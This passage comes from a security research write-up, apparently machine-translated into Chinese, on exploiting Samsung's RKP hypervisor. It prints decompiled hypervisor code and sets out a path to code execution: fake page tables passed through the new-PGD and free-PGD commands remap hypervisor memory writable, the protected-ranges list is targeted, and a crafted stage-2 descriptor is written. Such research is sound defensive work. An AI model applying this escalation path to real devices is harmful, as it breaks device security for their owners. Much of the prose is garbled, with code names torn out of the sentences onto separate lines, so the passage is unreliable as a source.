if (res < 0) {
uh_log('L', "rkp_paging.c", 229, "set_pgt_bitmap fail, %p", addr);
return res;
}
tlbivaae1is(((addr + 0x80000000) | 0xffffffc000000000) >> 12);
addr += 0x1000;
}
return 0;
}s2_map
是一个包装器,它考虑了构成内存范围的各种块和页面大小。不使用任何控制结构。这篇博文不会详细介绍它,因为它是用于遍历和更新第 2 阶段页表的通用代码。map_s2_page
map_s2_page
int64_t s2_map(uint64_t orig_addr, uint64_t orig_size, attrs_t attrs, uint64_t* paddr) {
// ...
return -1;
}
// Floor the address to the page size.
addr = orig_addr - (orig_addr & 0xfff);
// And ceil the size to the page size.
size = (orig_addr & 0xfff) + orig_size;
// Call `map_s2_page` for each 2 MB block in the region.
while (size > 0x1fffff && (addr & 0x1fffff) == 0) {
if (map_s2_page(*paddr, addr, 0x200000, attrs)) {
uh_log('L', "s2.c", 1132, "unable to map 2mb s2 page: %p", addr);
return -1;
}
size -= 0x200000;
addr += 0x200000;
*paddr += 0x200000;
}
// Call `map_s2_page` for each 4 KB page in the region.
while (size > 0xfff && (addr & 0xfff) == 0) {
if (map_s2_page(*paddr, addr, 0x1000, attrs)) {
uh_log('L', "s2.c", 1150, "unable to map 4kb s2 page: %p", addr);
return -1;
}
size -= 0x1000;
addr += 0x1000;
*paddr += 0x1000;
}
return 0;
}rkp_s2_range_change_permission
函数执行的验证比rkp_s2_page_change_permission
少。具体而言,它不能确保内存范围的页面未标记为 .这意味着,如果我们给它一个包含虚拟机管理程序内存的内存范围(在初始化期间未映射),它将很高兴地在第二阶段重新映射它。S2UNMAP
physmap
s2_unmap
是执行此取消映射的函数。与 s2_map
类似,它只是一个包装器,它考虑了构成内存范围的各种块和页面大小。S2UNMAP
physmap
unmap_s2_page
int64_t s2_unmap(uint64_t orig_addr, uint64_t orig_size) {
// ...
addr = orig_addr & 0xfffffffffffff000;
// And ceil the size to the page size.
size = (orig_addr & 0xfff) + orig_size;
// Call `unmap_s2_page` for each 1 GB block in the region.
while (size > 0x3fffffff && (addr & 0x3fffffff) == 0) {
if (unmap_s2_page(addr, 0x40000000)) {
uh_log('L', "s2.c", 1175, "unable to unmap 1gb s2 page: %p", addr);
return -1;
}
size -= 0x40000000;
addr += 0x40000000;
}
// Call `unmap_s2_page` for each 2 MB block in the region.
while (size > 0x1fffff && (addr & 0x1fffff) == 0) {
if (unmap_s2_page(addr, 0x200000)) {
uh_log('L', "s2.c", 1183, "unable to unmap 2mb s2 page: %p", addr);
return -1;
}
size -= 0x200000;
addr += 0x200000;
}
// Call `unmap_s2_page` for each 4 KB page in the region.
while (size > 0xfff && (addr & 0xfff) == 0) {
if (unmap_s2_page(addr, 0x1000)) {
uh_log('L', "s2.c", 1191, "unable to unmap 4kb s2 page: %p", addr);
return -1;
}
size -= 0x1000;
addr += 0x1000;
}
return 0;
}rkp_s2_page_change_permission
重新映射虚拟机管理程序内存!rkp_phys_map_set
rkp_phys_map_set_region
sparsemap_set_value_addr
S2UNMAP
开发¶
rkp_s2_page_change_permission
和 rkp_s2_range_change_permission
函数的调用,这些函数可以从内核触发(在虚拟机管理程序初始化后)并使用可控参数。探索我们的选择¶
rkp_s2_page_change_permission
称为:rkp_l1pgt_process_table
;rkp_l2pgt_process_table
;rkp_l3pgt_process_table
;set_range_to_pxn_l3
年(本身从rkp_set_range_to_pxn
中调用);set_range_to_rox_l3
年(本身从rkp_set_range_to_rox
);rkp_set_pages_ro
;rkp_ro_free_pages
rkp_s2_range_change_permission
被称为:dynamic_load_xxx
rkp_lxpgt_process_table
¶rkp_s2_page_change_permission
的调用是相当容易的:rkp_l1pgt_process_table
rkp_l2pgt_process_table
rkp_l3pgt_process_table
is_alloc
LX
physmap
LX
is_alloc
LX
physmap
FREE
rkp_s2_page_change_permission
。下一个问题是:我们可以使用受控参数调用这些函数吗?is_alloc
is_alloc
rkp_l1pgt_process_table
rkp_l1pgt_ttbr
;rkp_l1pgt_new_pgd
;rkp_l1pgt_free_pgd
rkp_l1pgt_ttbr
中,其中函数参数和 是用户控制的。因为我们在初始化后攻击三星 RKKP,并且应该是真的,并且启用了 MMU。然后,如果用户 PGD 或内核 PGD 不是 和 ,则将调用该函数。ttbr
user_or_kernel
rkp_deferred_inited
rkp_inited
pgd
empty_zero_page
swapper_pg_dir
tramp_pg_dir
rkp_l1pgt_process_table
int64_t rkp_l1pgt_ttbr(uint64_t ttbr, uint32_t user_or_kernel) {
// ...
pgd = ttbr & 0xfffffffff000;
// Don't do any processing if RKP is not deferred initialized.
if (!rkp_deferred_inited) {
should_process = 0;
} else {
should_process = 1;
// For kernel PGDs or user PGDs that aren't `empty_zero_page`.
if (user_or_kernel == 0x1ffffff || pgd != ZERO_PG_ADDR) {
// Don't do any processing if RKP is not initialized.
if (!rkp_inited) {
should_process = 0;
}
// Or if it's the `swapper_pg_dir` kernel PGD.
if (pgd == INIT_MM_PGD) {
should_process = 0;
}
// Or it it's the `tramp_pg_dir` kernel PGD.
if (pgd == TRAMP_PGD && TRAMP_PGD) {
should_process = 0;
}
}
// For the `empty_zero_page` user PGD.
else {
// Don't do any processing if the MMU is disabled or RKP is not initialized.
if ((get_sctlr_el1() & 1) != 0 || !rkp_inited) {
should_process = 0;
}
}
}
// If processing of the PGD should be done, call `rkp_l1pgt_process_table`.
if (should_process && rkp_l1pgt_process_table(pgd, user_or_kernel, 1) < 0) {
return rkp_policy_violation("Process l1t returned false, l1e addr : %lx", pgd);
}
// Then set TTBR0_EL1 for user PGDs, or TTBR1_EL1 for kernel PGDs.
if (!user_or_kernel) {
return set_ttbr0_el1(ttbr);
} else {
return set_ttbr1_el1(ttbr);
}
}TTBR0_EL1
TTBR1_EL1
is_alloc
rkp_l1pgt_new_pgd
rkp_l1pgt_free_pgd
rkp_l1pgt_process_table
rkp_get_pa
check_kernel_input
protected_ranges
rkp_l2pgt_process_table
rkp_get_pa
rkp_l2pgt_process_table
rkp_l1pgt_process_table
;rkp_l1pgt_write
rkp_l3pgt_process_table
check_single_l2e
rkp_l2pgt_process_table
rkp_l2pgt_write
rkp_l1pgt_write
rkp_l2pgt_write
rkp_l2pgt_process_table
rkp_l3pgt_process_table
set_range_to_xxx_l3
¶set_range_to_pxn_l3
从rkp_set_range_to_pxn
一直被称为。此函数调用 rkp_set_range_to_pxn
,将 PGD 作为参数传递给它,以及要在第 1 阶段页表中设置为 PXN 的范围的开始和地址。它还会使 TLB 和指令缓存失效。int64_t rkp_set_range_to_pxn(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...
res = set_range_to_pxn_l1(table, start_addr, end_addr);
if (res) {
uh_log('W', "rkp_l1pgt.c", 186, "Fail to change attribute to pxn");
return res;
}
// Invalidate the TLBs for the memory region.
size = end_addr - start_addr;
invalidate_s1_el1_tlb_region(start_addr, size);
// Invalidate the instruction cache for the memory region.
paddr = rkp_get_pa(start_addr);
invalidate_instruction_cache_region(paddr, size);
return 0;
}set_range_to_pxn_l1
确保 PGD 标记为 .然后,它循环访问映射作为参数给出的地址范围的描述符,并调用表描述符上的set_range_to_pxn_l2
来处理 PMD。KERNEL|L1
physmap
int64_t set_range_to_pxn_l1(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...
// Ensure the PGD is marked as `KERNEL|L1` in the physmap.
if (is_phys_map_kernel(table) && is_phys_map_l1(table)) {
res = 0;
// Iterate over the PGD descriptors that map the address range.
for (next_start_addr = start_addr; next_start_addr < end_addr; next_start_addr = next_end_addr) {
// Compute the start and end address of the region mapped by this descriptor.
next_end_addr = (next_start_addr & 0xffffffffc0000000) + 0x40000000;
if (next_end_addr > end_addr) {
next_end_addr = end_addr;
}
table_desc = *(table + 8 * ((next_start_addr >> 30) & 0x1ff));
// If the descriptor is a table descriptor.
if ((table_desc & 0b11) == 0b11) {
// Call `set_range_to_pxn_l2` to walk the PMD and set PXN bit of the descriptors mapping the address range.
res += set_range_to_pxn_l2(table_desc & 0xfffffffff000, next_start_addr, next_end_addr);
}
}
} else {
res = -1;
}
rkp_phys_map_unlock(table);
return res;
}set_range_to_pxn_l2
确保 PMD 标记为 .然后,它循环访问映射作为参数给出的地址范围的描述符,并调用表描述符上的set_range_to_pxn_l3
来处理 PT。此外,如果描述符未映射其中一个可执行区域,则会设置其 PXN 位。KERNEL|L2
physmap
int64_t set_range_to_pxn_l2(uint64_t table, uint64_t start_addr, int64_t end_addr) {
// ...
// Ensure the PMD is marked as `KERNEL|L2` in the physmap.
if (is_phys_map_kernel(table) && is_phys_map_l2(table)) {
res = 0;
// Iterate over the PMD descriptors that map the address range.
for (next_start_addr = start_addr; next_start_addr < end_addr; next_start_addr = next_end_addr) {
// Compute the start and end address of the region mapped by this descriptor.
next_end_addr = (next_start_addr & 0xffffffffffe00000) + 0x200000;
if (next_end_addr > end_addr) {
next_end_addr = end_addr;
}
table_desc_p = table + 8 * ((next_start_addr >> 21) & 0x1ff);
// Check if the descriptor value is in the executable regions. If it is not, set the PXN bit of the descriptor.
// However, I believe the mask extracting only the output address of the descriptor is missing...
if (*table_desc_p && !executable_regions_contains(*table_desc_p)) {
set_pxn_bit_of_desc(table_desc_p, 2);
}
// If the descriptor is a table descriptor.
if ((*table_desc_p & 0b11) == 0b11) {
// Call `set_range_to_pxn_l3` to walk the PT and set PXN bit of the descriptors mapping the address range.
res += set_range_to_pxn_l3(*table_desc_p & 0xfffffffff000, next_start_addr, next_end_addr);
}
}
} else {
res = -1;
}
rkp_phys_map_unlock(table);
return res;
}set_range_to_pxn_l3
检查 PT 是否标记为 .如果是,虚拟机管理程序将停止保护它,方法是在第二阶段使其再次可写,并将其标记为 .如果不是,则循环访问映射作为参数给出的地址范围的描述符,如果它们未映射其中一个可执行区域,则设置其 PXN 位。KERNEL|L3
physmap
FREE
physmap
int64_t set_range_to_pxn_l3(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...
// Ensure the PT is marked as `KERNEL|L3` in the physmap.
if (is_phys_map_kernel(table) && is_phys_map_l3(table)) {
// Call `rkp_s2_page_change_permission` to make it writable in the second stage.
res = rkp_s2_page_change_permission(table, 0 /* read-write */, 0 /* non-executable */, 0);
if (res < 0) {
uh_log('L', "rkp_l3pgt.c", 153, "pxn l3t failed, %lx", table);
rkp_phys_map_unlock(table);
return res;
}
// Mark it as `FREE` in the physmap.
res = rkp_phys_map_set(table, FREE);
if (res < 0) {
rkp_phys_map_unlock(table);
return res;
}
}
// Iterate over the PT descriptors that map the address range.
for (next_start_addr = start_addr; next_start_addr < end_addr; next_start_addr = next_end_addr) {
// Compute the start and end address of the region mapped by this descriptor.
next_end_addr = (next_start_addr + 0x1000) & 0xfffffffffffff000;
if (next_end_addr > end_addr) {
next_end_addr = end_addr;
}
table_desc_p = table + 8 * ((next_start_addr >> 12) & 0x1ff);
// If the descriptor is a page descriptor, and the descriptor value is not in the executable regions, then set its
// PXN bit. I believe the mask extracting only the output address of the descriptor is missing...
if ((*table_desc_p & 0b11) == 0b11 && !executable_regions_contains(*table_desc_p, 3)) {
set_pxn_bit_of_desc(table_desc_p, 3);
}
}
rkp_phys_map_unlock(table);
return 0;
}rkp_set_range_to_pxn
总是在 上调用(从“动态加载”功能的功能中)。因此,它将遍历内核页表,并设置跨越指定地址范围的块和页描述符的 PXN 位。我们感兴趣的对 rkp_s2_page_change_permission
的调用仅发生在 中也标记在 .swapper_pg_dir
KERNEL|L3
physmap
KERNEL|L3
physmap
rkp_lxpgt_process_table
set_range_to_rox_l3
从rkp_set_range_to_rox
一路被召唤。rkp_set_range_to_rox
和功能与PXN非常相似。rkp_set_range_to_rox
调用 set_range_to_rox_l1
,将 PGD 作为参数传递给它。set_range_to_rox_lx
int64_t rkp_set_range_to_rox(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...
res = set_range_to_rox_l1(table, start_addr, end_addr);
if (res) {
uh_log('W', "rkp_l1pgt.c", 199, "Fail to change attribute to rox");
return res;
}
// Invalidate the TLBs for the memory region.
size = end_addr - start_addr;
invalidate_s1_el1_tlb_region(start_addr, size);
// Invalidate the instruction cache for the memory region.
paddr = rkp_get_pa(start_addr);
invalidate_instruction_cache_region(paddr, size);
return 0;
}set_range_to_rox_l1
确保 PGD 不是,并且标记为 .然后,它循环访问映射作为参数给出的地址范围的描述符,并更改这些描述符的内存属性,使内存为只读可执行文件。此外,对于表描述符,它调用 set_range_to_rox_l2
来处理 PMD。swapper_pg_dir
KERNEL|L1
physmap
int64_t set_range_to_rox_l1(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...
rkp_policy_violation("rox only allowed on kerenl PGD! l1t : %lx", table);
return -1;
}
rkp_phys_map_lock(table);
// Ensure the PGD is marked as `KERNEL|L1` in the physmap.
if (is_phys_map_kernel(table) && is_phys_map_l1(table)) {
res = 0;
// Iterate over the PGD descriptors that map the address range.
for (next_start_addr = start_addr; next_start_addr < end_addr; next_start_addr = next_end_addr) {
// Compute the start and end address of the region mapped by this descriptor.
next_end_addr = (next_start_addr & 0xffffffffc0000000) + 0x40000000;
if (next_end_addr > end_addr) {
next_end_addr = end_addr;
}
table_desc_p = table + 8 * ((next_start_addr >> 30) & 0x1ff);
// Set the AP bits to RO and unset the PXN bit of the descriptor.
if (*table_desc_p) {
set_rox_bits_of_desc(table_desc_p, 1);
}
// If the descriptor is a table descriptor.
if ((*table_desc_p & 0b11) == 0b11) {
// Call `set_range_to_rox_l2` to walk the PMD and set the regions of the address range as ROX.
res += set_range_to_rox_l2(*table_desc_p & 0xfffffffff000, next_start_addr, next_end_addr);
}
}
} else {
res = -1;
}
rkp_phys_map_unlock(table);
return res;
}set_range_to_rox_l2
确保 PMD 标记为 .然后,它循环访问映射作为参数给出的地址范围的描述符,并更改这些描述符的内存属性,使内存为只读可执行文件。此外,对于表描述符,它会调用 set_range_to_rox_l3
来处理 PT。KERNEL|L2
physmap
int64_t set_range_to_rox_l2(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...
// Ensure the PMD is marked as `KERNEL|L2` in the physmap.
if (is_phys_map_kernel(table) && is_phys_map_l2(table)) {
// Iterate over the PMD descriptors that map the address range.
for (next_start_addr = start_addr; next_start_addr < end_addr; next_start_addr = next_end_addr) {
// Compute the start and end address of the region mapped by this descriptor.
next_end_addr = (next_start_addr & 0xffffffffffe00000) + 0x200000;
if (next_end_addr > end_addr) {
next_end_addr = end_addr;
}
table_desc_p = table + 8 * ((next_start_addr >> 21) & 0x1ff);
// Set the AP bits to RO and unset the PXN bit of the descriptor.
if (*table_desc_p) {
set_rox_bits_of_desc(table_desc_p, 2);
}
// If the descriptor is a table descriptor.
if ((*table_desc_p & 0b11) == 0b11) {
res += set_range_to_rox_l3(*table_desc_p & 0xfffffffff000, next_start_addr, next_end_addr);
}
}
} else {
res = -1;
}
rkp_phys_map_unlock(table);
return res;
}set_range_to_rox_l3
检查 PT 是否标记为 .如果不是,虚拟机监控程序将开始保护它,方法是在第二阶段将其设置为只读,并将其标记为 .如果是,则循环访问映射作为参数给定的地址范围的描述符,并更改这些描述符的内存属性,使内存为只读且可执行。KERNEL|L3
physmap
KERNEL|L3
physmap
int64_t set_range_to_rox_l3(uint64_t table, uint64_t start_addr, uint64_t end_addr) {
// ...
// Ensure the PT is NOT marked as `KERNEL|L3` in the physmap.
if (!is_phys_map_kernel(table) || !is_phys_map_l3(table)) {
// Call `rkp_s2_page_change_permission` to make it writable in the second stage.
res = rkp_s2_page_change_permission(table, 0x80 /* read-only */, 0 /* non-executable */, 0);
if (res < 0) {
uh_log('L', "rkp_l3pgt.c", 193, "rox l3t failed, %lx", table);
rkp_phys_map_unlock(table);
return res;
}
// Mark it as `KERNEL|L3` in the physmap.
res = rkp_phys_map_set(table, FLAG2 | KERNEL | L3);
if (res < 0) {
rkp_phys_map_unlock(table);
return res;
}
}
// Iterate over the PT descriptors that map the address range.
for (next_start_addr = start_addr; next_start_addr < end_addr; next_start_addr = next_end_addr) {
// Compute the start and end address of the region mapped by this descriptor.
next_end_addr = (next_start_addr + 0x1000) & 0xfffffffffffff000;
if (next_end_addr > end_addr) {
next_end_addr = end_addr;
}
table_desc_p = table + 8 * ((next_start_addr >> 12) & 0x1ff);
// If the descriptor is a page descriptor, set its AP bits to RO and unset its PXN bit.
if ((*table_desc_p & 3) == 3) {
set_rox_bits_of_desc(table_desc_p, 3);
}
}
rkp_phys_map_unlock(table);
return 0;
}rkp_set_range_to_rox
也总是在 上调用(从“动态加载”功能的函数中)。因此,它将遍历内核页表(第 1 阶段),并更改跨越指定地址范围的块和页描述符的内存属性,使其成为只读可执行文件。我们感兴趣的对 rkp_s2_page_change_permission
的调用也只发生在 3 级表中,但前提是它们未在 .swapper_pg_dir
KERNEL|L3
physmap
其余选项¶
rkp_s2_page_change_permission
的最后 2 个函数是 和 ,我们在第一篇博文中已经看到了这一点。不幸的是,他们给它一个来自调用的地址作为参数,因此它们不能用于我们的漏洞利用。rkp_set_pages_ro
rkp_ro_free_pages
rkp_get_pa
rkp_s2_range_change_permission
(在地址范围内操作的函数)是从许多函数调用的,但“动态加载”功能仅在 Exynos 设备上可用,我们希望尽可能保持漏洞利用的通用性。dynamic_load_xxx
重新映射我们的目标页面¶
rkp_s2_range_change_permission
调用为目标。为了达到它,我们需要给出一个“假PGD”,其中包含一个描述符,指向一个“假PMD”(将与虚拟机管理程序内存中的目标页面重叠)作为函数的输入。rkp_l1pgt_new_pgd
rkp_l1pgt_free_pgd
rkp_l1pgt_process_table
rkp_get_pa
rkp_l2pgt_process_table
rkp_l1pgt_process_table
+------------------+ .-> +------------------+
| | | | |
+------------------+ | +------------------+
| table descriptor ---' | |
+------------------+ +------------------+
| | | |
+------------------+ +------------------+
| | | |
+------------------+ +------------------+
in kernel memory in hypervisor memoryrkp_cmd_new_pgd
rkp_l1pgt_new_pgd
rkp_l1pgt_process_table
high_bits
is_alloc
L1
physmap
rkp_l2pgt_process_table
int64_t rkp_l1pgt_process_table(int64_t pgd, uint32_t high_bits, uint32_t is_alloc) {
// ...
rkp_phys_map_lock(pgd);
// If we are introducing this PGD.
if (is_alloc) {
// If it is already marked as a PGD in the physmap, return without processing it.
if (is_phys_map_l1(pgd)) {
rkp_phys_map_unlock(pgd);
return 0;
}
// ...
// And mark the PGD as such in the physmap.
res = rkp_phys_map_set(pgd, type /* L1 */);
// ...
// Make the PGD read-only in the second stage.
res = rkp_s2_page_change_permission(pgd, 0x80 /* read-only */, 0 /* non-executable */, 0);
// ...
}
// ...
// Now iterate over each descriptor of the PGD.
do {
// ...
// Block descriptor (not a table, not invalid).
if ((desc & 0b11) != 0b11) {
if (desc) {
// Make the memory non executable at EL1.
set_pxn_bit_of_desc(desc_p, 1);
}
}
// Table descriptor.
else {
addr = start_addr & 0xffffff803fffffff | offset;
// Call rkp_l2pgt_process_table to process the PMD.
res += rkp_l2pgt_process_table(desc & 0xfffffffff000, addr, is_alloc);
// ...
// Make the memory non executable at EL1 for user PGDs.
set_pxn_bit_of_desc(desc_p, 1);
}
// ...
} while (entry != 0x1000);
rkp_phys_map_unlock(pgd);
return res;
}rkp_l2pgt_process_table
处理我们的“假 PGD”,它将其标记为 ,在阶段 2 页表中将其设置为只读,然后调用它的每个条目(我们无法控制)。L2
PHYSMAP
check_single_l2e
int64_t rkp_l2pgt_process_table(int64_t pmd, uint64_t start_addr, uint32_t is_alloc) {
// ...
rkp_phys_map_lock(pmd);
// // If we are introducing this PMD.
if (is_alloc) {
// If it is not marked as a PMD in the physmap, return without processing it.
if (is_phys_map_l2(pmd)) {
rkp_phys_map_unlock(pmd);
return 0;
}
// ...
// And mark the PMD as such in the physmap.
res = rkp_phys_map_set(pmd, type /* L2 */);
// ...
// Make the PMD read-only in the second stage.
res = rkp_s2_page_change_permission(pmd, 0x80 /* read-only */, 0 /* non-executable */, 0);
// ...
}
// ...
// Now iterate over each descriptor of the PMD.
offset = 0;
for (i = 0; i != 0x1000; i += 8) {
addr = offset | start_addr & 0xffffffffc01fffff;
// Call `check_single_l2e` on each descriptor.
res += check_single_l2e(pmd + i, addr, is_alloc);
offset += 0x200000;
}
rkp_phys_map_unlock(pgd);
return res;
}check_single_l2e
将设置描述符的 PXN 位(在我们的示例中是目标页面中的每个 8 字节值),并且还将处理看起来像表描述符的值。这是我们在虚拟机管理程序内存中选择目标页面时需要牢记的。int64_t check_single_l2e(int64_t* desc_p, uint64_t start_addr, signed int32_t is_alloc) {
// ...
// The virtual address is not executable, set the PXN bit of the descriptor.
set_pxn_bit_of_desc(desc_p, 2);
// ...
// Get the descriptor type.
desc = *desc_p;
type = *desc & 0b11;
// Block descriptor, return without processing it.
if (type == 0b01) {
return 0;
}
// Invalid descriptor, return without processing it.
if (type != 0b11) {
if (desc) {
uh_log('L', "rkp_l2pgt.c", 64, "Invalid l2e %p %p %p", desc, is_alloc, desc_p);
}
return 0;
}
// ...
// Call rkp_l3pgt_process_table to process the PT.
return rkp_l3pgt_process_table(*desc_p & 0xfffffffff000, start_addr, is_alloc, protect);
}L2
physmap
rkp_cmd_free_pgd
rkp_l1pgt_free_pgd
rkp_l1pgt_process_table
high_bits
is_alloc
FREE
physmap
rkp_l2pgt_process_table
int64_t rkp_l1pgt_process_table(int64_t pgd, uint32_t high_bits, uint32_t is_alloc) {
// ...
rkp_phys_map_lock(pgd);
// ...
// If we are retiring this PGD.
if (!is_alloc) {
// If it is not marked as a PGD in the physmap, return without processing it.
if (!is_phys_map_l1(pgd)) {
rkp_phys_map_unlock(pgd);
return 0;
}
// Mark the PGD as `FREE` in the physmap.
res = rkp_phys_map_set(pgd, FREE);
// ...
// // Make the PGD writable in the second stage.
res = rkp_s2_page_change_permission(pgd, 0 /* writable */, 1 /* executable */, 0);
// ...
}
// Now iterate over each descriptor of the PGD.
offset = 0;
entry = 0;
start_addr = high_bits << 39;
do {
// Block descriptor (not a table, not invalid).
if ((desc & 0b11) != 0b11) {
if (desc) {
// Make the memory non executable at EL1.
set_pxn_bit_of_desc(desc_p, 1);
}
} else {
addr = start_addr & 0xffffff803fffffff | offset;
// Call rkp_l2pgt_process_table to process the PMD.
res += rkp_l2pgt_process_table(desc & 0xfffffffff000, addr, is_alloc);
// ...
// Make the memory non executable at EL1 for user PGDs.
set_pxn_bit_of_desc(desc_p, 1);
}
// ...
} while (entry != 0x1000);
rkp_phys_map_unlock(pgd);
return res;
}rkp_l2pgt_process_table
处理我们的“假 PGD”,它将其标记为 ,在阶段 2 页表中将其设置为读写,然后再次调用其每个条目(这将执行与之前相同的操作)。FREE
physmap
check_single_l2e
int64_t rkp_l2pgt_process_table(int64_t pmd, uint64_t start_addr, uint32_t is_alloc) {
// ...
rkp_phys_map_lock(pmd);
// ...
// If we are retiring this PMD.
if (!is_alloc) {
// If it is not marked as a PMD in the physmap, return without processing it.
if (!is_phys_map_l2(pmd)) {
rkp_phys_map_unlock(pgd);
return 0;
}
// ...
// Mark the PMD as `FREE` in the physmap.
res = rkp_phys_map_set(pmd, FREE);
// ...
// Make the PMD writable in the second stage.
res = rkp_s2_page_change_permission(pmd, 0 /* writable */, 1 /* executable */, 0);
// ...
}
// Now iterate over each descriptor of the PMD.
offset = 0;
for (i = 0; i != 0x1000; i += 8) {
addr = offset | start_addr & 0xffffffffc01fffff;
// Call `check_single_l2e` on each descriptor.
res += check_single_l2e(pmd + i, addr, is_alloc);
offset += 0x200000;
}
rkp_phys_map_unlock(pgd);
return res;
}check_single_l2e
选择目标页面¶
check_single_l2e
protected_ranges
memlist_entry_t
check_single_l2e
protected_ranges
pa_restrict_init
int64_t pa_restrict_init() {
// Initialize the memlist of protected ranges.
memlist_init(&protected_ranges);
// Add the uH memory region to it (containing the hypervisor code and data).
memlist_add(&protected_ranges, 0x87000000, 0x200000);
// ...
}memlist_init
函数。它通过在初始化结构的字段之前调用 memlist_reserve
函数为 5 个条目(默认容量)预分配足够的空间。int64_t memlist_init(memlist_t* list) {
// ...
// Reset the structure fields.
memset(list, 0, sizeof(memlist_t));
// By default, preallocate space for 5 entries.
res = memlist_reserve(list, 5);
// Fill the structure fields accordingly.
list->capacity = 5;
list->merged = 0;
list->unkn_14 = 0;
cs_init(&list->cs);
return res;
}memlist_reserve
函数的作用。它为指定数量的条目分配空间,并将旧条目复制到新分配的内存(如果有)。protected_ranges
physmap
memlist_entry
int64_t memlist_reserve(memlist_t* list, uint64_t size) {
// ...
if (!list || !size) {
return -1;
}
// Allocate memory for `size` entries of type `memlist_entry`.
base = heap_alloc(0x20 * size, 0);
if (!base) {
return -1;
}
// Reset the memory that was just allocated.
memset(base, 0, 0x20 * size);
// If the list already contains some entries.
if (list->base) {
// Copy these entries from the old array to the new one.
for (index = 0; index < list->count; ++index) {
new_entry = &base[index];
old_entry = &list->base[index];
new_entry->addr = old_entry->addr;
new_entry->size = old_entry->size;
new_entry->unkn_10 = old_entry->unkn_10;
new_entry->extra = old_entry->extra;
}
// And free the old memory.
heap_free(list->base);
}
list->base = base;
return 0;
}memlist_reserve
通过调用来分配的,因此它来自“静态堆”分配器。在 中,当为 memlist 进行分配时,“静态区域”包含:heap_alloc
pa_restrict_init
protected_ranges
0x87046000
pa_restrict_init
rkp_init_cmd_counts
年;uh_init_bigdata
;uh_init_context
;memlist_init(&dynamic_regions)
uh_init
int64_t uh_init(int64_t uh_base, int64_t uh_size) {
// ...
apps_init();
uh_init_bigdata();
uh_init_context();
memlist_init(&uh_state.dynamic_regions);
pa_restrict_init();
// ...
}uint64_t apps_init() {
// ...
res = uh_handle_command(i, 0, &saved_regs);
// ...
}int64_t uh_handle_command(uint64_t app_id, uint64_t cmd_id, saved_regs_t* regs) {
// ...
return cmd_handler(regs);
}int64_t rkp_cmd_init() {
// ...
rkp_init_cmd_counts();
// ...
}uint8_t* rkp_init_cmd_counts() {
// ...
malloc(0x8a, 0);
// ...
}int64_t uh_init_bigdata() {
if (!bigdata_state) {
bigdata_state = malloc(0x230, 0);
}
memset(0x870ffc40, 0, 0x3c0);
memset(bigdata_state, 0, 0x230);
return s1_map(0x870ff000, 0x1000, UNKN3 | WRITE | READ);
}int64_t* uh_init_context() {
// ...
if (!uh_context) {
uh_log('W', "RKP_1cae4f3b", 21, "%s RKP_148c665c", "uh_init_context");
}
return memset(uh_context, 0, 0x1000);
}protected_ranges
>>> f = lambda x: (x + 0x18 + 7) & 0xFFFFFFF8
>>> 0x87046000 + f(0x8A) + f(0x230) + f(0x1000) + f(0xA0) + 0x18
0x870473D8protected_ranges
uh_context
memset
init_cmd_add_dynamic_region
init_cmd_initialize_dynamic_heap
memlist_contains_addr
。此函数仅检查地址是否在内存列表的任何区域内。protected_ranges
rkp_cmd_new_pgd
rkp_cmd_free_pgd
check_kernel_input
check_kernel_input
protected_ranges_contains
int64_t memlist_contains_addr(memlist_t* list, uint64_t addr) {
// ...
cs_enter(&list->cs);
// Iterate over each of the entries of the memlist.
for (index = 0; index < list->count; ++index) {
entry = &list->base[index];
// If the address is within the start address and end address of the region.
if (addr >= entry->addr && addr < entry->addr + entry->size) {
cs_exit(&list->cs);
return 1;
}
}
cs_exit(&list->cs);
return 0;
}protected_ranges
size
获取代码执行¶
rkp_cmd_write_pgt3
rkp_l3pgt_write
protected_ranges
import ida_bytes
size = [0x8000000000, 0x40000000, 0x200000, 0x1000][level]
desc_addr = table + i * 8
desc = ida_bytes.get_qword(desc_addr)
if (desc & 0b11) == 0b00 or (desc & 0b11) == 0b01:
continue
paddr = desc & 0xFFFFFFFFF000
vaddr = start_vaddr + i * size
print("L%d Table for %016x-%016x is at %08x" \
% (level + 1, vaddr, vaddr + size, paddr))
parse_static_s2_page_tables(paddr, level + 1, vaddr)L2 Table for 0000000000000000-0000000040000000 is at 87032000
L3 Table for 0000000002000000-0000000002200000 is at 87033000
L2 Table for 0000000080000000-00000000c0000000 is at 8702a000
L2 Table for 00000000c0000000-0000000100000000 is at 8702b000
L2 Table for 0000000880000000-00000008c0000000 is at 8702c000
L2 Table for 00000008c0000000-0000000900000000 is at 8702d000
L2 Table for 0000000900000000-0000000940000000 is at 8702e000
L2 Table for 0000000940000000-0000000980000000 is at 8702f000
L2 Table for 0000000980000000-00000009c0000000 is at 87030000
L2 Table for 00000009c0000000-0000000a00000000 is at 87031000>>> 0x8702A000 + ((0x87000000 - 0x80000000) // 0x200000) * 8
0x8702A1C00x87000000 | 0x4FD = 0x870004FD
0 1 00 11 1111 01 = 0x4FD
^ ^ ^ ^ ^ ^
| | | | | `-- Type: block descriptor
| | | | `------- MemAttr[3:0]: NM, OWBC, IWBC
| | | `---------- S2AP[1:0]: read/write
| | `------------- SH[1:0]: NS
| `--------------- AF: 1
`----------------- FnXS: 0set_entry_of_pgt
中执行。rkp_cmd_write_pgt3
rkp_l3pgt_write
L3
physmap
int64_t* rkp_l3pgt_write(uint64_t ptep, int64_t pte_val) {
// ...
// Convert the PT descriptor PA into a VA.
ptep_pa = rkp_get_pa(ptep);
rkp_phys_map_lock(ptep_pa);
// If the PT is marked as such in the physmap, or as `FREE`.
if (is_phys_map_l3(ptep_pa) || is_phys_map_free(ptep_pa)) {
// If the new descriptor is not a page descriptor, or its PXN bit is set, the check passes.
if ((pte_val & 0b11) != 0b11 || get_pxn_bit_of_desc(pte_val, 3)) {
allowed = 1;
}
// Otherwise, the check fails if RKP is deferred initialized.
else {
allowed = rkp_deferred_inited == 0;
}
}
// If the PT is marked as something else, the check also fails.
else {
allowed = 0;
}
rkp_phys_map_unlock(ptep_pa);
// If the check failed, trigger a policy violation.
if (!allowed) {
pxn_bit = get_pxn_bit_of_desc(pte_val, 3);
return rkp_policy_violation("Write L3 to wrong page type, %lx, %lx, %x", ptep_pa, pte_val, pxn_bit);
}
// Otherwise, perform the write of the PT descriptor on behalf of the kernel.
return set_entry_of_pgt(ptep_pa, pte_val);
